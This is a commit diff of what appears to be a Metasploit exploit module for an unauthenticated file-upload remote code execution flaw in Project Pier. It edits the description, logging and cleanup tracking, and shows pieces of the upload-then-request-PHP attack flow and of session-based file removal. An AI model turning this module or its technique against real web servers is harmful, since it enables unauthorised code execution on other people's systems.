@@ -20,9 +20,8 @@ def initialize(info={})
20
20
This module exploits a vulnerability found in Project Pier. The application's
21
21
uploading tool does not require any authentication, which allows a malicious user
22
22
to upload an arbitrary file onto the web server, and then cause remote code
23
- execution by simply requesting it. This module is known to work against Apache
24
- servers due to the way it handles an extension name, but the vulnerability may
25
- not be exploitable on others.
23
+ execution by simply requesting it. Please note this module only works best against
24
+ an Apache server due to the way it handle an extension name.
26
25
} ,
27
26
'License' => MSF_LICENSE ,
28
27
'Author' =>
@@ -96,15 +95,16 @@ def on_new_session(cli)
96
95
end
97
96
98
97
@clean_files . each do |f |
99
- print_status ( "#{ @peer } - Remove : #{ f } " )
98
+ print_debug ( "#{ @peer } - Removing : #{ f } " )
100
99
begin
101
100
if cli . type == 'meterpreter'
102
101
cli . fs . file . rm ( f )
103
102
else
104
103
cli . shell_command_token ( "rm #{ f } " )
105
104
end
105
+ print_debug ( "File removed: #{ f } " )
106
106
rescue ::Exception => e
107
- vprint_error ( "#{ @peer } - Unable to remove #{ f } : #{ e . message } " )
107
+ print_error ( "#{ @peer } - Unable to remove #{ f } : #{ e . message } " )
108
108
end
109
109
end
110
110
end
@@ -132,6 +132,7 @@ def exec_php(base, body)
132
132
# Body example:
133
133
# 0 ./upload/test/test.txt-0001
134
134
uri = body . scan ( /(\/ .+$)/ ) . flatten [ 0 ]
135
+ @clean_files << File . basename ( uri )
135
136
136
137
res = send_request_raw ( { 'uri' => "#{ base } /tools#{ uri } " } )
137
138
@@ -151,7 +152,7 @@ def exploit
151
152
152
153
folder_name = Rex ::Text . rand_text_alpha ( 4 )
153
154
php_fname = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .php.1"
154
- @clean_files = [ php_fname ]
155
+ @clean_files = [ ]
155
156
156
157
case target [ 'Platform' ]
157
158
when 'php'
0 commit comments